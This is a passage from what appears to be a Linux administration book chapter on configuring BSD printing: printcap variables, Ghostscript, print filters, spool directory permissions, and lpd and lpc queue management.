Assigns a local printer device, typically connected through parallel port, serial port, or SCSI interface. The lp variable must be assigned to a device file in the /dev directory, which may be a link to a physical device. The lp variable must be assigned if there is a local printer. This variable should not be assigned if the rp variable is assigned (that is, the print spool manager is on another host).[35] If lp assigns a serial device, the baud rate must be specified with the br variable.

[35]A special case arises where the printer to be addressed is a true networked printer (that is, it has its own IP address). In that instance, the lp variable assigns the name of a dummy file that is used for setting a temporary lock on the file when the networked printer is in use. The documentation for the networked printer should describe the procedure for setting up and managing print services to access it.

lf

Specifies the log file for storing error messages. All printers should have this variable set and normally use the same error log file. Error entries include the name of the printer and can reveal problems with the user's printer environment, the host configuration, the communications channel that is used, and sometimes the printer hardware itself.

rw

This variable should be specified if the printer is able to send data back to the host through the specified device file. The rw variable tells lpd that the device should be opened for both reading and writing. This can be useful for serial or SCSI PostScript printers, for example, because they may return fairly useful error messages to lpd, which stores them in the error log.

mx

Specifies the maximum size of a print job in the spool. A value of zero sets no limit (the default, mx#0), and any other value sets the maximum file size in blocks. Most of the time you don't want to set a limit, but you could, for example, set a value slightly smaller than the expected minimum space available on a disk.

if

Specifies an input filter to use. If you do not specify an input (if) or output (of) filter, the system uses the default /usr/sbin/lpf filter. For some MS DOS-style character printers, this is sufficient. Other useful filters are provided in the formatting utilities, and there are some flexible "magic filter" packages that will determine (usually correctly) the filtering to apply from the content of the data file passed to it. See the section "Section 8.4.7, "Print Filters"" that follows.

of

Specifies an "output" filter to use. When you assign the of variable and don't assign the if variable, the system uses the filter once when the device is opened. All queued jobs are then sent without reapplying the filter until the queue is exhausted (and lpd removes the lock file from the spool directory). This is not normally useful, but it could serve such purposes as sending faxes to a faxmodem for dialed connection over a telephone line.

When you assign both the if and of variables, the if-specified filter normally processes the file, but the of-specified filter prints a banner page before the input filter is applied. Using both input and output filters effectively on the same print queue is notoriously difficult.

br

Specifies the data-transfer rate (baud rate) for a serial port. You must supply this value if the printer is accessed via serial port. A pound sign precedes a numeric value that expresses the data-transfer rate in bits per second (not truly the baud rate, which is an effective rate of flow as opposed to the maximum rate of flow). The specified rate should not exceed any hardware limits. For example, if your serial port is capable of a 57.6 Kbps rate and the printer can process 28.8 Kbps, the assigned rate should not exceed that lower limit (perhaps br#19200). Supported bps values are the usual multiples for serial communications: 300, 600, 1200, 2400, 4800, 9600, and so on. A number of additional data conditioning values may be set if you do assign a br value, but most of them aren't useful for typical Linux installations. The default behavior is probably acceptable for your printing purposes, but if you intend to print via serial port, study the br, fc, fs, xc, and xs variables in the printcap manual page.

pl

Specifies the page length as the number of lines using the default font characters for character devices (and printers that can use a character mode). An example is pl#66 for an 11-inch page at six lines per inch. This value allows space for cropping and accommodates limits of some other devices, such as inkjet printers that cannot print to the bottom of the sheet or the edge of the paper. Normally used in conjunction with the pw variable.

pw

Specifies the width of the page supported, in characters, using the default font characters for character devices. pw is set like the pl variable; for example, pw#85 for 10 characters per inch with an 8.5-inch printable page width.

px

Specifies the number of pixels to use on the X axis for a bitmap image file sent to a raster device.

py

Specifies the number of pixels to use on the Y axis for a bitmap image file sent to a raster device.

sh

Suppresses printing of a header or banner page. In most cases, you should set this.

rp

Specifies the name of a remote printer to use. This variable cannot be set if the lp variable is set for the same printer. The printer handling is performed by the remote host assigned in the rm variable, which is required when rp is set. Usually, the only variables set along with these are spooling and error recording. See the example that follows.

rm

Specifies a remote host that controls the remote printer you print to. The specified host ID assigned by rm should be one that is known to the network services as installed (set up in /etc/hosts or known through NIS, for example).

rs

Restricts access to local printers to those users with an account on the system.

rg

Specifies a restricted group that can use the printer. For example, to reserve a defined printer for superuser, enter rg=root.

sf

Suppresses the formfeed sent to the printer by default at the end of a print file.

ff

Assigns the formfeed character or string the device should use. The default is Ctrl-L (equivalent to ff='\f'), which is usual for most devices.

fo

Sends a formfeed character to the device before sending the file.

mc

Specifies the maximum number of copies you can print. Values are the same as for the mx variable; usually you want to allow unlimited copies (mc#0), which is the default.

sc

Suppresses multiple copies (equivalent to mc#1).

Example 8-1 contains a sample printcap file that shows off many of the variables discussed in the previous list.

Example 8-1. Sample /etc/printcap file

# Fare well, sweet prints.
hp|bat|west|spigot|berkeley|TI MicroLaser Turbo:\
     :mx#0:rp=lp:\
     :lp=:sd=/var/spool/lpd:rm=spigot.berk.ora.com:\
     :lf=/var/log/lpd-errs:
# To the print room
kiwi|810|rint|Big Apple|Apple 810 via EtherTalk:\
     :lp=/var/spool/lpd/kiwi:sh:\
     :sd=/var/spool/lpd/kiwi:pl#72:pw#85:mx#0:\
     :lf=/var/log/lpd-errs:if=/usr/local/cap/kiwi:

# big bird--agapornis via shielded serial access
samoa|S|PostScript|secure|QMS 1725 by serial adapter:\
     :lp=dev/tty01:br#38400:rw:xc#0:xs#0400040:sh:\
     :sd=/var/spool/lpd/samoa:pl#72:pw#85:mx#0:mc#0:\
     :lf=/var/log/lpd-errs:if=/usr/local/cap/samoa:
# agapornis via printer room subnet (standard access)
moa|ps|QMS 1725 via Ethernet:\
     :lp=/var/spool/lpd/moa/moa:rm=agapornis:rp=samoa:\
     :sd=/var/spool/lpd/moa:mx#0:sh:\
     :lf=/var/log/lpd-errs:if=/usr/local/cap/samoa:

8.4.6. Configuring Ghostscript

Ghostscript is included in standard Linux packages; it is an essential utility in an X Window System environment and is useful even if you don't run X. Ghostscript can provide graphics output to a standard VGA display even where no window manager is running and can also process and create PostScript-formatted files without a graphics display. You can examine what devices Ghostscript is configured to recognize and format for on your system by entering Ghostscript in interactive mode. If you enter:

$ gs
Ghostscript should load in interactive mode and await your instructions:
GS>
You can then query the devices that Ghostscript is configured to recognize, and Ghostscript will display them:
GS> devicenames ==
[/pkm /sj48 /la75plus /t4693d2 /pjxl300 /cdj500 /mgr8 /tifflzw /ppm
/okiibm /la70 /iwlo /ljet3d /pjxl /cdjcolor /mgrgray8 /tiffg32d /pnm
/oce9050 /declj250 /bjc600 /ljet2p /st800 /stcolor /png256 /mgrgray2
/tiffcrle /pgnm /m8510 /lbp8 /bj200 /pdfwrite /pjetxl /eps9high
/pnggray /bitcmyk /faxg32d /pgm /jetp3852 /epson /lp2563 /paintjet
/appledmp /x11cmyk /pcx24b /bit /dfaxlow /pbm /cp50 /tek4696 /lj4dith
/djet500c /x11 /pcx16 /tiff24nc /pkmraw /ccr /ln03 /t4693d4 /deskjet
/cdj550 /pcxmono /tiffpack /ppmraw /r4081 /la75 /nullpage /ljet4 /iwlq
/cdjmono /mgr4 /tiffg4 /pnmraw /oki182 /la50 /iwhi /ljet3 /cdj850
/cdeskjet /png16m /mgrgray4 /tiffg3 /pgnmraw /necp6 /lips3 /epsonc
/laserjet /x11mono /png16 /mgrmono /faxg4 /pgmraw /imagen /bjc800
/bj10e /pj /eps9mid /x11alpha /pngmono /bitrgb /faxg3 /pbmraw /ibmpro
/ap3250 /ljetplus /dnj650c /pcx256 /psmono /dfaxhigh /xes /lj250
/t4693d8 /djet500 /miff24 /pcxgray /tiff12nc]
GS> quit
$

If you are not using X, and Ghostscript fails to initialize when you try to invoke it, complaining that it cannot open an X display, then the first device Ghostscript loaded in its build file was the X Window System device; Ghostscript uses the first device as its default device. You can work around this problem by specifying some other device that Ghostscript will have installed, for example, gs -sDEVICE=epson. You can guard against the problem in the future by setting a global GS_DEVICE environment variable to some other device on your system that can be opened by Ghostscript.

If you have such an unusual output device that the default Ghostscript installation does not support it, you need to rebuild Ghostscript to support the device, or else process your output files through a filter that converts it to a form usable by your output device. Ghostscript comes with makefiles and is easy to build if you follow the Ghostscript documentation that comes with the distribution.

The more graphics utilities, X window managers, games, and applications you use, the more likely you will need to reinstall Ghostscript to suit your requirements. Read the Ghostscript documentation before running the makefile that comes with the package. (This requires that you have gcc installed on your system.)

You can define the GSDIR environment variable to locate the path of the ghostscript command, and to set GS_LIB variables if you need to build Ghostscript utilities and add them to your installation. For example:

export GSDIR=/usr/bin
export GS_LIB=/usr/lib/ghostscript:/usr/local/lib/fonts:/usr/X11R6/fonts

Set the GS_LIB_DEFAULTS variable before you make a new build of Ghostscript; see the gs manual page.

The Ghostscript package also contains some PostScript programs that provide useful print-support functions, including some sophisticated printing capabilities we do not document here. The gs_init.ps file, in particular, affects the general behavior of Ghostscript. Additional scripts (filters, shell scripts, and so on) can be found in /usr/lib/ghostscript or /usr/local/lib/ghostscript. You may find it useful to examine the ps2epsi.ps utility, which converts PostScript into encapsulated PostScript, and the ps2ascii.ps utility, which converts PostScript files into plain text.

8.4.7. Print Filters

Every document passes through a filter before going to the printer, thanks to the if variable in the printcap file. A print filter can be found in a Linux distribution, acquired from the printer's vendor, found on the Net, or even made yourself from scratch or by cobbling together existing filters and shell utilities.

An input filter can also be used to restrict use of a printer to a specific user or group, or users with accounts on a particular host. Typical if-assigned filters are executable shell scripts that process the text file, but they can be any program that can take the input data stream and process it for output to a printer.

It is increasingly common for commercial Linux distributions to build a filter interactively. While you can usually improve on such a filter, it can help to use one as a starting point. The Red Hat distribution, for example, created the following shell-script filter (named /var/spool/lpd/ljet4/filter)[36] on one of our systems from information provided to it in the printer manager window and from default assumptions. The /etc/printcap was modified to specify the use of this filter, which proved to be perfectly functional on our system:

[36]Putting a filter in a printer's spool directory is a convenient technique for a printer management program to use when setting up your printer system. You may prefer to keep all your print filters and graphics conversion filters in the same directory (following the Unix tradition), such as /usr/sbin or /var/spool/lpd/filters. Of course, in that case, each filter you create must be uniquely named.

#!/bin/sh

DEVICE=ljet4
RESOLUTION=600x600
PAPERSIZE=letter
SENDEOF=

nenscript -TUS -ZB -p- |
if [ "$DEVICE" = "PostScript" ]; then
    cat -
else
    gs -q -sDEVICE=$DEVICE \
        -r$RESOLUTION \
        -sPAPERSIZE=$PAPERSIZE \
        -dNOPAUSE \
        -dSAFER \
        -sOutputFile=- -
fi

if [ "$SENDEOF" != "" ]; then
    printf ""
fi

exit 0

There's nothing exotic about this filter. First it sets some variables that appear later as arguments in the Ghostscript command. The script passes output through nenscript and passes PostScript files to the gs Ghostscript utility. (In this particular case, the automatically generated filter will never invoke gs because DEVICE never equals "PostScript" in the if test.) If your printer doesn't eject the final pages of output, you can force it to by setting the SENDEOF variable near the top of the file. For example:

SENDEOF='\f'
will cause a formfeed to be sent to the printer when it reaches the end of a file.

You might modify such a script and substitute a filter specifically designed for a LaserJet 4 printer, such as the actual ljet4 filter package, for example, and accommodate printing of TeX DVI files by filtering them through dvips and feeding them to Ghostscript. There is an elementary discussion of how to create a filter in the Linux Printing HOWTO.

If you use a character printer that expects a carriage return at the end of each line, it will be unhappy with Linux, which follows Unix fashion in terminating a line with a linefeed, but no carriage return. To force correct treatment of newlines on these printers, the filter has to insert the carriage return. This can be done by writing the processing into the filter, or, alternatively, by using a filter that already has the capacity of inserting the character.

Some printer vendors provide filters and utilities for their printers, especially where the usual solutions are likely to be inadequate to take advantage of the printer's capabilities. For example, Hewlett-Packard provides a JetAdmin package with filters to use with their TCP/IP network-addressed LaserJet printers.

The default filter that comes with the BSD print-management package is /usr/sbin/lpf. This filter is undocumented and probably best ignored, unless you wish to retrieve the C source and trace through the program to learn its capabilities. (The full BSD source for this can be found in the lpr-secure package in the printing directory from ftp://metalab.unc.edu.)

Most of the print-filtering needs you have were long ago resolved, and there are filters out there to meet your needs. By running:

apropos filter
you can probably identify several print filters installed on your host.

Changing filters is simple. You need only change the /etc/printcap input filter specification (if) to specify the filter you want, and then kill and restart lpd, which you can do using the lpc utility. Enter (as root):

lpc restart all

The lpc utility reports any lpd processes it kills, then it restarts lpd. If there are files in a print spool waiting to print, lpd also reports that an lpd daemon for that printer has been started. The lpc printer control utility is described later in this chapter, in the section "Section 8.4.12, "Controlling Printer Services with lpc"."

Study the manual page for a filter and then pass some test files through before adopting a strange print filter. We have found that filters don't always perform "as advertised" in their manual page; often the document is obsolete or the filter was compiled by someone using different configuration parameters than the document assumes. There is no substitute for testing all the things you expect the filter to do before adopting it. Two good filtering packages, nenscript and APSfilter, are discussed in the next section.

8.4.8. The nenscript Filter

The nenscript filter is a typical modern filter for Linux. You should find it in /usr/bin/nenscript if it was provided in your Linux distribution. Otherwise, it may be installed in /usr/local/bin. nenscript controls headers, footers, rotation of text, and so on, and produces PostScript output conforming to the Adobe Structuring Conventions from plain ASCII input (by calling Ghostscript). It sends output to the printer specified by the user's NENSCRIPT environment variable, if set, or the user's PRINTER environment variable otherwise. If neither variable is set, nenscript uses the default printer that lpr wants to use.

If nenscript is called using the -Z option, it is supposed to pass PostScript files through without altering them. nenscript examines the input file, and if the first two characters in the input file are %!, nenscript suppresses formatting. Since this output "type-checking" is primitive, it is easily fooled. Obviously if the first two characters happen to be something other than %!, perhaps because a formfeed is the first character, for example, the file will not be recognized as PostScript even if it is. This can easily happen if some filter processing takes place before the file passes through to nenscript. Of course, a file can also have %! as the first characters and not be PostScript (or could be nonconforming PostScript) and may not therefore be handled properly if passed to a PostScript printer. There are smarter filters for this type of checking, including Magic-Filter or APSfilter, but nenscript may easily meet your needs, especially if you print only to a PostScript printer.

If you use the nenscript filter for a PostScript printer on your system, therefore, you could specify the -Z option in the NENSCRIPT environment variable for all user shells by default, in order to pass through the PostScript received by the filter.

There are other comparable filters. The nenscript filter emulates the traditional Unix enscript filter. A shell script provided in the nenscript package invokes nenscript configured to behave as though it were another (similar) traditional Unix filter, pstext.

To use nenscript to filter your print files, make sure nenscript is installed in an appropriate path, and then set the printers for which you want nenscript to filter to point to a filter that invokes the nenscript filter. You may find that the printcap entry can point directly to the nenscript filter if you set a system-wide default NENSCRIPT variable to control its options, or you can create a simple processing filter that calls nenscript, much like the sample configuration file shown earlier. Verify file and directory ownerships and permissions after you have altered the printcap file and set up filters.

8.4.9. Magic Filters: APSfilter and Alternatives

The most versatile filters are the so-called "magic" filters. A magic filter examines the contents of a file passed to it, and filters the output for printing based on the what it learns from the format of the information. If it sees the file is DVI routed to a PostScript printer, for instance, it will apply another filter (perhaps dvips) to convert the data into PostScript for printing. This is very convenient, but on occasion, the filter can make a mistake. If that happens, the user can resubmit the file with command-line options that specify which filtering to perform, or the user can preprocess the file by piping it through the needed filtering before passing it to lpr for routine print processing. There are some good magic filter packages, including APSfilter (which we have chosen to describe here) Magic-Filter, and the gslp.ps filter provided with complete Ghostscript packages.

Some Linux distributions, regrettably, omit Ghostscript's supplemental utilities or documents, but you can always retrieve a complete Ghostscript distribution via FTP from the GNU archive site (ftp://ftp.gnu.org/gnu/ ) or one of its mirrors. You can get the APSfilter package from the ftp://metalab.unc.edu FTP site in the /pub/Linux/system/printing directory. The primary FTP site for the Magic-Filter package is the ftp://tsx-11.mit.edu Linux archive. The Ghostscript filter, gslp.ps, is written in the PostScript language and can be used only with Ghostscript or another interpretor compatible with Adobe PostScript.

The APSfilter package for Linux is a port of a package developed for FreeBSD. For that reason, there are a few precautions to take in order to ensure that things configure properly when you install the APSfilter package. On a Linux host, it is probably best to install the APSfilter package in /usr/lib/apsfilter. The package comes from ftp://metalab.unc.edu as a gzipped, tarred file. To unpack the package, put it in the /usr/lib/apsfilter directory and enter:

gunzip apsfilter*gz

This results in a tar file. As of this writing, the tar file does not install correctly if you simply use the tar command on it in the apsfilter directory. Instead, from the apsfilter directory, use this command:

tar -vxf apsfilter*.tar -C /usr/lib

Now the APSfilter package unpacks within subdirectories of the apsfilter directory.

Change to the apsfilter directory. Before you run the SETUP command, you want to make sure you have all the filters you might want to use with APSfilter installed and configured. The /usr/lib/apsfilter/FAQ file tells you of some of the more important and useful packages.

Before you run the installation, read the INSTALL document to make sure there aren't any surprises. Then run ./SETUP. It tests for the presence and location of graphics utilities and other filters APSfilter uses to convert files into a form printable on your printer.

The SETUP script lets you know if the filter installed correctly. It can be run again if you wish to install more than one printer or more than one mode for a single printer. For example, if you install a Deskjet 540 printer, you probably will want to use the dj500 definition for the black cartridge and the dj550c definition for the CMYK color cartridge. APSfilter uses very long directory names for its spool directories. If you don't like that, you can rename the spool directories and change the corresponding directory fields in the corresponding /etc/printcap entry. Be sure not to shorten the name of the filter used; that path is critical. We don't recommend you undertake to make things pretty until you are satisfied that things are working.

Before you try your new setup, you need to restart the print daemon:

/usr/sbin/lpc restart all

APSfilter sets systemwide variables for printer definitions in the /etc/apsfilterrc file; reading it can be informative. Common print problems are probably the usual file ownership or permission problems, so don't forget to check that out. Then, read the FAQ and TROUBLESHOOTING files in the /usr/lib/apsfilter directory.

If your APSfilter installation didn't work, you can always return to the configuration you had before you installed it by copying the /etc/printcap.orig file that APSfilter saved for you back to /etc/printcap.

APSfilter names its printers sequentially, from lp1 up. Don't be confused; that has nothing to do with the actual physical device assigned to the printer. Again, you can change those names.

APSfilter allows you to loosen restrictions so individual users can set up their own .apsfilterr file in their home directories. The default is to not allow it, which is a bit more secure.

The latest version of Magic-Filter (at the time of this writing, Version 1.2) is remarkably easy to install and makes a clean alternative to APSfilter. However, the installation doesn't do any hand-holding. Though there is a useful manual page, there isn't much information to walk you through setting up the alternate processing that the Magic-Filter utility should do for most printing devices. In particular, if you have a versatile printer that outputs in multiple modes (PostScript, PCL5, text, and so on), you may find it worth your while to install and use this package.

8.4.10. BSD Print System Elements: Files, Directories, and Utilities

The print-management system requires you to create directories that match the printcap printer names in order to spool files for printing. It also requires you to create other files for controlling the print process itself. You must set up directories and files with the correct ownership and privileges, and the printer utilities themselves also need correct permissions.

8.4.10.1. Setting up printer directories

Your Linux installation created a standard spool directory. Ideally, this is on a fast-access disk drive. The basic spool directory (/var/spool ) is normally used for managing mail, news, and UUCP communications as well as for holding printer files. We recommend you follow this practice, which is a Linux standard. Some utilities or filters you get may expect to find /usr/spool/lpd as the printer spool path. You will have to make corrections if you find this condition. You can, of course, create /usr/spool and link it to /var/spool, but that is a good idea only if /usr and /var are on the same disk drive.

You must create your own printer spool directories. The /var/spool/lpd directory is the standard path for each printer subdirectory. Each printer subdirectory name must be used as a printer name in the first field in a corresponding /etc/printcap entry. For example, /var/spool/lpd/moa is appropriate for a printer with moa in a name field of the printcap entry. In turn, the /etc/printcap entry for this printer should have an sd variable set to point to the spooling directory (sd=/var/spool/lpd/moa, for example).

You shouldn't use lp as the actual spool directory name unless you never expect to have more than one printer on your system or network, because lp is the default printer. (If your default printer is somewhere else on the network, your files will still get spooled to /var/spool/lpd/lp first, before your lpd forwards them to the print daemon on the remote host to print.) You may have a printer-management utility that automatically creates an lp spool directory, but you can always edit the printcap file to point to any directory you wish.

The spool directory name should be the first name listed in the associated /etc/printcap entry for the printer to make identification easy. The printcap entry will then be associated with the names under which lpq and lpc utilities report print queue status.

8.4.10.2. File, directory, and utility privileges

The most common problem in establishing print services is with file and directory permissions. Table 8-1 lists the important files, directories, and utilities that comprise BSD print management on Linux. Installed locations may vary according to your Linux distribution. The ownerships and permissions given in the following table are recommended for the files and directories of the printing system. (Additional filters and nonstandard spool paths may be specified in /etc/printcap). Different permissions may still work, but if you have permissions problems, this is where you can straighten them out. An asterisk in the first column of Table 8-1 indicates that many files can exist with the names of different printers.

Table 8-1. BSD's Files, Directories, and Utilities for Printing

Directory or File | Permissions | Owner/Group | Description
/dev/ttys1 | crwsr----- | root/lp | Typical serial port printing device
/dev/lp1 | crws------ | root/lp | Typical parallel port device (not bidirectional)
/usr/bin/lpc | -rwsrwsr-x | root/lp | Controls print-spooling services
/usr/bin/lpr | -rwsrwsr-x | root/lp | Receives print file, assigns processing data, and spools both
/usr/bin/lpq | -rwsrwsr-x | root/lp | Reports on spooled files with user and print queue data
/usr/bin/lprm | -rwsrwsr-- | root/lp | Removes print jobs from spool
/usr/bin/tunelp | -rwsr-sr-- | root/lp | Tests print services to improve them
/usr/bin/lptest | -rwxr-xr-x | root/root | Outputs an ASCII file for printer and display testing
/usr/sbin/lpd | -rwsr-s--- | root/lp | Daemon manages printing using printcap data and data passed by lpr
/usr/sbin/lpf | -rwxr-xr-x | root/lp | Primitive BSD text print filter
/usr/sbin/pac | -rwxr--r-- | root/root | BSD utility reports on printer activity and usage by user ID
/var/spool/ | drwxr-sr-x | root/daemon | Basic system location for temporary files
/var/spool/lpd | -rws--s--x | root/lp | Standard path for the print-spooling system
/var/spool/lpd/* | drwxr-sr-x | root/lp | Spooling subdirectories for each defined printer
/var/spool/lpd/*/filter | -rwxr-xr-x | root/lp | Filters created by Red Hat printer-management utility for each print spool
/var/spool/lpd/lpd.lock | -rw-rw---- | root/lp | lpd queue control lock
/var/spool/lpd/*/.seq | -rw-rw---- | lp/lp | Sequence file lpd uses to order spooled files
/var/spool/lpd/*/lock | -rw------- | root/lp | lpd writes lock to prevent sending next file until printer is ready
/var/spool/lpd/*/status | -rw------- | lp/lp | lpd stores latest printer status report here
/var/log/lp-acct | -rw------- | root/root | Accounting record file, from which pac extracts and formats print data[37]
/var/log/lpd-errs | -rw-rw-r-- | root/lp | Standard BSD log file for lpd errors

[37]This file remains empty if system accounting is not installed, unless you configure Ghostscript to perform its limited reporting there and make the file writable by all.

The usual Linux printer-management utilities set the print files with root ownership and lp group privilege. Traditionally, BSD distributions have used root ownership and daemon group privilege. You can use either group privilege, but if you use both daemon and lp privileges with different utilities and files, you will have problems. Be particularly careful about this if you add utilities from other packages to your services.

Let's say you (as root) need to create the printer-spooling directory, /var/spool/lpd. You execute the command:

mkdir /var/spool/lpd
Assuming your /var/spool was created with the usual permissions, the new lpd directory has permissions of drwxrwxr-x, which is too permissive. If you enter the command:
chmod 755 /var/spool/lpd
the permissions are changed to drwxr-xr-x. This is close, but not what you want. You need to set the setuid bit, so lp can setuid root:
chmod +s /var/spool/lpd
This results in drwsr-sr-x, which is what you want. However, the group should be lp, not root, so you need to fix that:
chgrp lp /var/spool/lpd

Create the spool directories needed for each printer as subdirectories of the /var/spool/lpd directory in the same way, and then use touch to create a .seq file in each print directory:

touch .seq

8.4.11. Exercising the Printer Daemon

The lpd daemon consults /etc/printcap and then sends files to printers by directing them to a device file in the /dev directory. Most printers on Linux boxes are serial (usually addressed through devices named /dev/ttys0, /dev/ttys1, and so on, or /dev/ttyS0, /dev/ttyS1, and so on.) or parallel (/dev/lp0, /dev/lp1, or /dev/lp2, depending on the physical addresses the ports use). The port assignments are described in the section "Section 8.4.14, "Printer System Troubleshooting"." A common mistake when configuring print services is to use the wrong port.

You can link a virtual device, /dev/fax for example, to an actual device you can use by creating a symbolic link. For example:

ln -s /dev/ttys1 /dev/fax

This allows users to set up scripts and filters that address /dev/fax, while you move the physical device (a faxmodem, for example) around simply by removing /dev/fax and then creating it again with a link to the new device.

The BSD printer daemon is notorious for dying or just becoming inert. To be fair, this seems to be less common than it was some years ago, but it still happens. When it does, just kill the old daemon and start a new one. If lpd isn't fairly reliable, though, there is a cause somewhere. There could be something wrong with a user's environment or the specified command-line options used with lpr or a faulty filter that sends setup data to the printer in a form the printer doesn't like. However, you have every reason to expect to have a "pretty good" printing package installation. If you are having problems, check out "Section 8.4.14, "Printer System Troubleshooting"."

OK, let's see if you have a working print system. After making all these changes, you can be sure that lpd doesn't know what is going on. So run the ps command and find the ID of the lpd process. Then enter:

kill -9 processid
to kill the process you specified.[38] You should now have no print daemon running. Just enter /usr/sbin/lpd to start the print daemon.

[38] You may prefer to use lpc to perform this task. Also, if your root desktop has a printer-manager tool, you can probably click on the lpd button to kill and restart the print daemon.

Now, while watching the activity LEDs on your printer front panel (if there are any), send a file to the printer (still acting with superuser privilege):

lptest | lpr
 The lptest ASCII barber pole should begin printing to your default printer, as configured in your /etc/printcap file. If it doesn't, you have a configuration problem that has nothing to do with privileges.

Did the printer show any activity? Does your default printer have a spool directory? Does the directory have a .seq file? Check /var/log/lpd-errs and see if anything was stored in it. Use the lpc command and get a report on the status of the print daemon and the print spool.

If everything else looks good, make sure the printer is using the port you expected by sending a file directly to the port--for example:

# lptest > /dev/lp1
To test for a serial printer:
# lptest > /dev/ttys1
and so on. If none of these worked, reexamine your /etc/printcap file. Is your entry properly formed? Are there no blank spaces or tabs following the continuation character (\) on your entry line? Is the printer queue correctly specified? Does the name lp appear as one of the printer names of the name field? Is the first name in the name field the same name as the spool directory it uses?

Let's assume you got through this first little test unscathed, and you now have several pages of lovely barber-pole printout in your printer tray. Next comes the real challenge. Can you print as a regular user? Log in (or run su) to become a normal system user. Now, try the same experiment. If it works, congratulations, you've got a printer! If it doesn't, you have a problem, but it is probably a file or directory ownership or permissions problem. You know what you have to do about that. Become root again, look at the manual pages for chgrp, chmod, and chown, and go down the list of files and directories to find your problem and fix it. Repeat until Joe User can print.

8.4.12. Controlling Printer Services with lpc

The lpc utility is provided to manage printer queues and requires root privilege to perform most of its functions. lpc reports on all print queues and their attending lpd daemons. You can also specify reports on a specific printer or printing system user. To get a status report on all printers and users, type:

$ lpc status
ibis:
    queuing is enabled
    printing is enabled
    no entries
    no daemon present
crow:
    queuing is enabled
    printing is enabled
    1 entry in spool area
    crow is ready and printing

ada:
    queuing is disabled
    printing is disabled
    no entries
    no daemon present

Queuing can be enabled within lpc through the enable command and disabled using its disable command. The disable command works by setting a group execute permission on the lock file in the print spool directory.

Printing can be enabled in lpc using its start command and disabled using its stop command. Jobs held in a print queue when a printer is stopped will remain there until printing is restarted. The stop command functions by setting a lock file in the printer spool directory and killing the print daemon for that queue, but it allows the currently printing job to complete. The abort command works like stop, but halts any printing job immediately, too. (Since the job did not complete, lpr retains it and starts over again when the queue is restarted.)

The down command functions as though both a disable and a stop command were issued, and the up command does the reverse, issuing enable and start commands.

You could also limit the display to one printer:

$ lpc status crow
crow:
    queuing is enabled
    printing is enabled
    1 entry in spool area
    crow is ready and printing

The status-reporting feature is useful for anyone, and lpc allows all users to use it. The real work for lpc usually involves solving a printing crisis. Sometimes a print daemon dies, and printing jobs back up. Sometimes a printer runs out of ink or paper, or even fails. Jobs in the print spools have to be suspended or moved to another spool where they can be printed. Someone may simply have an urgent printing task that needs to be moved to the top of the queue.

The lpc command is a classic Unix command: tight-lipped and forbidding. When you simply enter the lpc command, all you get back is a prompt:

lpc>
The command is interactive and waiting for your instructions. You can get help by entering help or a question mark at the lpc prompt. lpc responds and gives you a new prompt. For example, entering a question mark displays:
#  lpc
lpc> ?
Commands may be abbreviated.  Commands are:
abort   enable  disable help    restart status  topq    ?
clean   exit    down    quit    start   stop    up
lpc>

You can get additional help by asking for help about a specific command. For example, to learn more about restarting a stalled print queue, type:

lpc> help restart
restart         kill (if possible) and restart a spooling daemon
lpc>

The lpc help message does not offer online help about the secondary arguments you can specify in some places. The manual page will offer you some guidance. Most of the commands accept all or a print spool name as a secondary argument.

The lpc topq command recognizes a print spool name as the first argument and printer job numbers or user IDs as following arguments. The arguments are used to reorder the print queue. For example, to move job 237 to the top of the ada print queue, followed by all jobs owned by bckeller in the queue, enter:

lpc> topq ada 237 bckeller
The lpd daemon will start job 237 as soon as the current job is finished and will put any files in the queue owned by bckeller before the rest of the print spool. If you were very impatient, you could use the abort and clean commands to kill and purge the currently printing job, then use topq to put the job you want at the top of the queue, before using restart to create a new lpd and restart the queue.

When you use the stop command to stop a print spool (or all print spools) you can broadcast a message to all system users at the same time. For example:

lpc> stop ada "Printer Ada taken down to replace toner cartridge."

If you do major surgery on the print spools--stopping queues and moving files around--it is wise to use lpc's clean command. This minimizes the risk that some loose end will cause an lpd daemon to stall:

lpc> clean
Then get a new status report and restart or start all stopped print spools before exiting. There is a difference between aborting a process, stopping a process, and bringing a print queue down. If you bring a print queue down (lpc down ada for example) you will find you cannot get lpd to serve the print spool again until you restore services with an lpc up ada command. Similarly, if you stop a queue, you have to start or restart it.

Follow up after you clear print spool problems using lpc. Further status reports will let you know promptly whether the problems were actually solved.

You should not wait for disaster to become familiar with lpc commands, because printing jobs can pass through a Linux spool very fast, especially when a printer has lots of memory to buffer jobs sent to it. Study the manual page and work with lpc enough to be comfortable with the control it gives you over print spools and lpd daemons.

You can abbreviate subcommands unless it makes them ambiguous. For instance, in the following command, h stands for help :

lpc> h topq

To exit from lpc, enter the command:

lpc> quit
or:
lpc> exit

8.4.13. Printer Optimization

For performance improvement, you can first try to maximize the physical tuning of the system. You should try to determine the maximum data flow rates you can sustain to the printers you install. Don't specify a faster rate of communication than can be supported unless your printer is going to return flow control signals to the print daemon. That is, you must have bidirectional communications (and the printer must return the necessary signals) or else you must limit your transmission speeds so that data doesn't get lost en route to the printer. You may have to experiment with this to wring the best possible performance from printers limited by restricted bandwidth.

Old PC serial and parallel cards just don't have the throughput available with later cards. Newer serial cards have faster I/O processors. Newer parallel ports are typically faster and meet the EPP standard to support bidirectional communications, which may allow lpd to control data flow to the printer better. A significant performance improvement may be only a few dollars away.

If your printer is just plain slow and cannot buffer print jobs, there isn't much to be gained from optimizing the data-transfer rate, of course, but it may still be useful for you to use interrupt-driven flow control instead of port polling if your hardware permits.

You can try out various printer optimizations using the tunelp utility. Read the manual page carefully before attempting this. If a tuning procedure fails, you may need to turn the printer off and back on to reset it. Also, don't forget to use lpc to restart the lpd daemon after each change to the configuration. Back up your working setup before monkeying around with tunelp.

An excellent first use for tunelp is to cause a print job to abort on receiving a printer error and to notify you. (The default is not to abort.) Setting this up can shorten the test cycle. To cause abort on printer error, enter as root:

tunelp -aon

If you use a parallel port printer, and your parallel port supports interrupt-driven printing, you can use tunelp to accellerate printer access:

tunelp /dev/lp1 -i7

This example switches the port controlled by interrupt 7 to use interrupt-driven printing. If an attempt to print after this change is made fails, you should reset the port and switch back to noninterrupt driven polling:

tunelp /dev/lp1 -r -i0

If you don't know the interrupt this device uses, you can query with tunelp -q on, and the IRQ setting will be displayed.

You can probably speed up printing a bit by reducing the pause the driver takes when it cannot send a character to the printer after a certain number of tries. For example, a fast laser printer might happily accommodate very brief pauses and not require many attempts to transmit. To try putting a character 10 times before pausing (the default is 250 attempts) and set the pause to .01, type:

tunelp /dev/lp1 -c10 -t1
The -t takes a numeric value that represents a multiple of .01 seconds. The default pause is .1 seconds.

